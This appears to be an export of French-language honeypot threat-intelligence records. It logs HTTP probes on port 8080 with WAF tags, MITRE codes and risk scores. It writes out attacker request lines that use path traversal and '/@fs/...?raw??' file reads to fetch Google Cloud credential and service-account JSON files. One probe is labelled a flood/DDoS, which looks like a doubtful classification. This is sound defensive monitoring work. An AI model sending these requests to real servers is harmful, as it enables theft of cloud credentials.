"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "0e21cd49fadf155f9b01ce97de5ac13c",
"path_pattern_hash": "f9795337c1d9a3b2de0c173e4f0d6e8c"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent:",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: clo",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent:",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "5e85a53d1c6d17785478085c985b8350cb0b05aa",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent:",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/appli\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/appli\u2026",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent:",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /@fs/app/service-account.json
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /@fs/app/service-account.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/app/service-account.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/app/service-account.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred GCP service account
Ligne de requête
GET /@fs/app/service-account.json?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/app/service-account.json?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win6
Requête brute (extrait)
GET /@fs/app/service-account.json?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "11400d4f94c55ad14872999c55ae5f88aef0f0f9",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 232,
"payload_entropy": 5.402887089288767,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "460036a1c2b62a8db4ec08d65a47930653342066",
"event_fingerprint": "79a47ee8d6adf06af0ba8925efeb1f7e5fa0b06c",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"matched_patterns": [
"pat-0476"
],
"matched_pattern_names": [
"Cred GCP service account"
],
"pattern_ids": [
"pat-0476"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "66b6842f83cc4964819ac77c54e0f0d2",
"path_pattern_hash": "051d4dd61217ecd48718e87331006731"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"method": "GET",
"path": "\/@fs\/app\/service-account.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"evidence": {
"method": "GET",
"path": "\/@fs\/app\/service-account.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "38615b249ca6324195fccf99afc49ca28f57be3d",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/service-account.json",
"request_line": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/service-account.json",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/service-account.json",
"request_line": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/service-account.json",
"evidence_snippet": "GET \/@fs\/app\/service-account.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Sonde fichier credential / clé
credential file probe · via HTTP:8080 · (tentative d'exploit) · → /@fs/app/credentials.json
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /@fs/app/credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950316:lfi-14
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/@fs/app/credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/app/credentials.json
Pourquoi cette classification : Sonde fichier sensible: fichier credential/clé · Règle WAF « lfi-14 » · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0472
Upstream
Waf Score
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred Credentials JSON
Ligne de requête
GET /@fs/app/credentials.json?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/app/credentials.json?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x
Requête brute (extrait)
GET /@fs/app/credentials.json?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "a5148a1927a7bd2b7b9db7ffcc1dc408b8d6f1b1",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 228,
"payload_entropy": 5.385898241401495,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 82,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.3,
"risk_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "3e439945a2916d75cddf45409896a7f32e49f1b4",
"event_fingerprint": "86de35f9ed77717c9a1e2ce4878e11e7e02cb0cd",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 135,
"precision_signals": [
"pat-0472",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"pat-0472",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0472"
],
"matched_pattern_names": [
"Cred Credentials JSON"
],
"pattern_ids": [
"pat-0472"
],
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "lfi_attack",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "fe5be903361714fe88717533c44d3865",
"path_pattern_hash": "91c8dcb0b8fbd01489aecefc01a78819"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"method": "GET",
"path": "\/@fs\/app\/credentials.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"evidence": {
"method": "GET",
"path": "\/@fs\/app\/credentials.json",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "44f1a02bf294b355470edbb19cd4ce5e9252bfff",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/app\/credentials.json",
"request_line": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/app\/credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x",
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/app\/credentials.json",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab lfi-14 \u00bb \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
